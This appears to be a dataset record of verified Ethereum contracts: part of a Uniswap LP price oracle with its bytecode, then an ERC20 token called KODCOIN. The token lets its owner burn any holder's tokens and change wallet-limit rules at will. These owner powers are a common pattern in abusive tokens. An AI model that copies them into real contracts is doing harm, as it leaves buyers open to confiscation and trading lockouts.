if (xx >= 0x8) { r <<= 1; }
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1; // Seven iterations should be enough
uint256 r1 = _x / r;
return uint128 (r < r1 ? r : r1);
}
}
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Step(uint256 hop);
event Stop();
event Start();
event Value(uint128 curVal, uint128 nxtVal);
event Link(uint256 id, address orb);
event Kiss(address a);
event Diss(address a);
// --- Init ---
constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public {
require(_src != address(0), "UNIV2LPOracle/invalid-src-address");
require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address");
wards[msg.sender] = 1;
emit Rely(msg.sender);
src = _src;
wat = _wat;
uint256 dec0 = uint256(ERC20Like(UniswapV2PairLike(_src).token0()).decimals());
require(dec0 <= 18, "UNIV2LPOracle/token0-dec-gt-18");
UNIT_0 = 10 ** dec0;
uint256 dec1 = uint256(ERC20Like(UniswapV2PairLike(_src).token1()).decimals());
require(dec1 <= 18, "UNIV2LPOracle/token1-dec-gt-18");
UNIT_1 = 10 ** dec1;
orb0 = _orb0;
orb1 = _orb1;
}
function stop() external auth {
stopped = 1;
delete cur;
delete nxt;
zph = 0;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function step(uint256 _hop) external auth {
require(_hop <= uint16(-1), "UNIV2LPOracle/invalid-hop");
hop = uint16(_hop);
emit Step(_hop);
}
function link(uint256 _id, address _orb) external auth {
require(_orb != address(0), "UNIV2LPOracle/no-contract-0");
if(_id == 0) {
orb0 = _orb;
} else if (_id == 1) {
orb1 = _orb;
} else {
revert("UNIV2LPOracle/invalid-id");
}
emit Link(_id, _orb);
}
// For consistency with other oracles.
function zzz() external view returns (uint256) {
if (zph == 0) return 0; // backwards compatibility
return sub(zph, hop);
}
function pass() external view returns (bool) {
return block.timestamp >= zph;
}
function seek() internal returns (uint128 quote) {
// Sync up reserves of uniswap liquidity pool
UniswapV2PairLike(src).sync();
// Get reserves of uniswap liquidity pool
(uint112 r0, uint112 r1,) = UniswapV2PairLike(src).getReserves();
require(r0 > 0 && r1 > 0, "UNIV2LPOracle/invalid-reserves");
// All Oracle prices are priced with 18 decimals against USD
uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD)
require(p0 != 0, "UNIV2LPOracle/invalid-oracle-0-price");
uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD)
require(p1 != 0, "UNIV2LPOracle/invalid-oracle-1-price");
// Get LP token supply
uint256 supply = ERC20Like(src).totalSupply();
// This calculation should be overflow-resistant even for tokens with very high or very
// low prices, as the dollar value of each reserve should lie in a fairly controlled range
// regardless of the token prices.
uint256 value0 = mul(p0, uint256(r0)) / UNIT_0; // WAD
uint256 value1 = mul(p1, uint256(r1)) / UNIT_1; // WAD
uint256 preq = mul(2 * WAD, sqrt(mul(value0, value1))) / supply; // Will revert if supply == 0
require(preq < 2 ** 128, "UNIV2LPOracle/quote-overflow");
quote = uint128(preq); // WAD
}
function poke() external {
// Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy.
uint256 hop_;
{
// Block-scoping these variables saves some gas.
uint256 stopped_;
uint256 zph_;
assembly {
let slot1 := sload(1)
stopped_ := and(slot1, 0xff )
hop_ := and(shr(8, slot1), 0xffff)
zph_ := shr(24, slot1)
}
// When stopped, values are set to zero and should remain such; thus, disallow updating in that case.
require(stopped_ == 0, "UNIV2LPOracle/is-stopped");
// Equivalent to requiring that pass() returns true.
// The logic is repeated instead of calling pass() to save gas
// (both by eliminating an internal call here, and allowing pass to be external).
require(block.timestamp >= zph_, "UNIV2LPOracle/not-passed");
}
uint128 val = seek();
require(val != 0, "UNIV2LPOracle/invalid-price");
Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later.
cur = cur_;
nxt = Feed(val, 1);
// The below is equivalent to:
//
// zph = block.timestamp + hop
//
// but ensures no extra SLOADs are performed.
//
// Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop)
// will not overflow (even a 232 bit value) for a very long time.
//
// Also, we know stopped was zero, so there is no need to account for it explicitly here.
assembly {
sstore(
1,
add(
// zph value starts 24 bits in
shl(24, add(timestamp(), hop_)),
// hop value starts 8 bits in
shl(8, hop_)
)
)
}
// Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs.
emit Value(cur_.val, val);
// Safe to terminate immediately since no postfix modifiers are applied.
assembly {
stop()
}
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint256(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint256(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "UNIV2LPOracle/no-current-value");
return (bytes32(uint256(cur.val)));
}
function kiss(address _a) external auth {
require(_a != address(0), "UNIV2LPOracle/no-contract-0");
bud[_a] = 1;
emit Kiss(_a);
}
function kiss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length; i++) {
require(_a[i] != address(0), "UNIV2LPOracle/no-contract-0");
bud[_a[i]] = 1;
emit Kiss(_a[i]);
}
}
function diss(address _a) external auth {
bud[_a] = 0;
emit Diss(_a);
}
function diss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length; i++) {
bud[_a[i]] = 0;
emit Diss(_a[i]);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610924565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610948565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3e565b6102d4610b44565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b0316610b68565b6102d4610b7a565b61018a610c40565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cb0565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e3f565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ee4565b610223610f7b565b6103a4610f8a565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f93565b6102d4611029565b6103f0611076565b604080519115158252519081900360200190f35b61040c61108f565b604080516001600160e81b039092168252519081900360200190f35b6104306110a5565b6040805161ffff9092168252519081900360200190f35b6101806110b4565b6102d46004803603602081101561046557600080fd5b50356001600160a01b031661113b565b61022361114d565b6101806004803603602081101561049357600080fd5b50356001600160a01b031661115c565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f69732d73746f707065640000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f6e6f742d7061737365640000000000000000604482015290519081900360640190fd5b5050600061067761125d565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f696e76616c69642d70726963650000000000604482015290519081900360640190fd5b6106dc6118ee565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610876576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b60016002600085858581811061088857fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e957fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f000000000000000000000000b4e16d0168e52d35cacd2c6185b44281ec28c9dc81565b3360009081526020819052604090205460011461099a576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b61ffff8111156109f1576040805162461bcd60e51b815260206004820152601960248201527f554e4956324c504f7261636c652f696e76616c69642d686f7000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a90576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600060026000858585818110610aad57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0e57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a93565b7f554e49563255534443455448000000000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc85760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2f576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c905760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b33600090815260208190526040902054600114610d02576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116610d5d576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b81610d8257600580546001600160a01b0319166001600160a01b038316179055610df8565b8160011415610dab57600680546001600160a01b0319166001600160a01b038316179055610df8565b6040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f696e76616c69642d69640000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e91576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f36576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fe5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104b57506000610c3d565b60015461107190630100000081046001600160e81b031690610100900461ffff166116dc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611106576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111ae576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116611209576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b60007f000000000000000000000000b4e16d0168e52d35cacd2c6185b44281ec28c9dc6001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112ba57600080fd5b505af11580156112ce573d6000803e3d6000fd5b505050506000807f000000000000000000000000b4e16d0168e52d35cacd2c6185b44281ec28c9dc6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561132e57600080fd5b505afa158015611342573d6000803e3d6000fd5b505050506040513d606081101561135857600080fd5b50805160209091015190925090506001600160701b0382161580159061138757506000816001600160701b0316115b6113d8576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f696e76616c69642d72657365727665730000604482015290519081900360640190fd5b600554604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561141d57600080fd5b505afa158015611431573d6000803e3d6000fd5b505050506040513d602081101561144757600080fd5b50519050806114875760405162461bcd60e51b81526004018080602001828103825260248152602001806119066024913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b1580156114cc57600080fd5b505afa1580156114e0573d6000803e3d6000fd5b505050506040513d60208110156114f657600080fd5b50519050806115365760405162461bcd60e51b81526004018080602001828103825260248152602001806119706024913960400191505060405180910390fd5b60007f000000000000000000000000b4e16d0168e52d35cacd2c6185b44281ec28c9dc6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b5051905060007f00000000000000000000000000000000000000000000000000000000000f42406115f5856001600160701b03891661173a565b816115fc57fe5b04905060007f0000000000000000000000000000000000000000000000000de0b6b3a764000061163585886001600160701b031661173a565b8161163c57fe5b04905060008361166e671bc16d674ec8000061166061165b878761173a565b6117a6565b6001600160801b031661173a565b8161167557fe5b049050600160801b81106116d0576040805162461bcd60e51b815260206004820152601c60248201527f554e4956324c504f7261636c652f71756f74652d6f766572666c6f7700000000604482015290519081900360640190fd5b98975050505050505050565b80820382811115611734576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f7375622d756e646572666c6f770000000000604482015290519081900360640190fd5b92915050565b60008115806117555750508082028282828161175257fe5b04145b611734576040805162461bcd60e51b815260206004820152601a60248201527f554e4956324c504f7261636c652f6d756c2d6f766572666c6f77000000000000604482015290519081900360640190fd5b6000816117b5575060006118e9565b816001600160801b82106117ce5760809190911c9060401b5b6801000000000000000082106117e95760409190911c9060201b5b64010000000082106118005760209190911c9060101b5b6201000082106118155760109190911c9060081b5b61010082106118295760089190911c9060041b5b6010821061183c5760049190911c9060021b5b600882106118485760011b5b600181858161185357fe5b048201901c9050600181858161186557fe5b048201901c9050600181858161187757fe5b048201901c9050600181858161188957fe5b048201901c9050600181858161189b57fe5b048201901c905060018185816118ad57fe5b048201901c905060018185816118bf57fe5b048201901c905060008185816118d157fe5b0490508082106118e157806118e3565b815b93505050505b919050565b60408051808201909152600080825260208201529056fe554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f6e6f742d617574686f72697a656400000000554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a26469706673582212206c71ea5b4a3564b81590e23af73a03746aee6212e2106a64806d6047deb00c0b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,397 |
0x652d3579109fe92f93f921b45fa4a77a298198e5
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping(address => bool) public Limtcheck;
uint256 public maxWalletBal =1000000000e18;
constructor () public {
_name = 'King of Diamonds Coin';
_symbol = 'KODCOIN';
_decimals = 18;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
if(!Limtcheck[to]){ require(_balances[to].add(value) <= maxWalletBal,"Wallet Limit Exceed"); }
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract KODCOIN is
ERC20,
Ownable {
uint256 public airdropBal=1960784e18;
constructor () public
ERC20 () {
Limtcheck[msg.sender]=true;
Limtcheck[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)]=true;
_mint(msg.sender,900000000e18);
_mint(address(this),100000000e18);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
function updateMaxWallet(uint256 _amount) public onlyOwner {
maxWalletBal=_amount;
}
function ExcludeLimitcheck(address _addr,bool _status) public onlyOwner() {
Limtcheck[_addr]=_status;
}
function airdrop(address[] memory addr) external onlyOwner {
for(uint i=0; i < addr.length;i++)
{
IERC20(address(this)).transfer(addr[i],airdropBal);
}
}
function setAirdrop(uint256 _amount) external onlyOwner {
airdropBal = _amount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063729ad39e116100b85780639dc29fac1161007c5780639dc29fac14610433578063a457c2d71461045f578063a9059cbb1461048b578063dd62ed3e146104b7578063f2fde38b146104e5578063f3050d3a1461050b57610142565b8063729ad39e1461032157806372b7685d146103c457806376d6f199146103ea5780638da5cb5b1461040757806395d89b411461042b57610142565b806323b872dd1161010a57806323b872dd14610245578063313ce5671461027b5780633950935114610299578063510f1109146102c557806370a08231146102f3578063715018a61461031957610142565b806306fdde0314610147578063095ea7b3146101c457806309c6ee771461020457806318160ddd1461021e5780631c499ab014610226575b600080fd5b61014f610513565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f0600480360360408110156101da57600080fd5b506001600160a01b0381351690602001356105a9565b604080519115158252519081900360200190f35b61020c610625565b60408051918252519081900360200190f35b61020c61062b565b6102436004803603602081101561023c57600080fd5b5035610631565b005b6101f06004803603606081101561025b57600080fd5b506001600160a01b0381358116916020810135909116906040013561068e565b610283610751565b6040805160ff9092168252519081900360200190f35b6101f0600480360360408110156102af57600080fd5b506001600160a01b03813516906020013561075a565b610243600480360360408110156102db57600080fd5b506001600160a01b0381351690602001351515610802565b61020c6004803603602081101561030957600080fd5b50356001600160a01b0316610885565b6102436108a0565b6102436004803603602081101561033757600080fd5b81019060208101813564010000000081111561035257600080fd5b82018360208201111561036457600080fd5b8035906020019184602083028401116401000000008311171561038657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610942945050505050565b6101f0600480360360208110156103da57600080fd5b50356001600160a01b0316610a4a565b6102436004803603602081101561040057600080fd5b5035610a5f565b61040f610abc565b604080516001600160a01b039092168252519081900360200190f35b61014f610acb565b6102436004803603604081101561044957600080fd5b506001600160a01b038135169060200135610b2c565b6101f06004803603604081101561047557600080fd5b506001600160a01b038135169060200135610b8e565b6101f0600480360360408110156104a157600080fd5b506001600160a01b038135169060200135610bd1565b61020c600480360360408110156104cd57600080fd5b506001600160a01b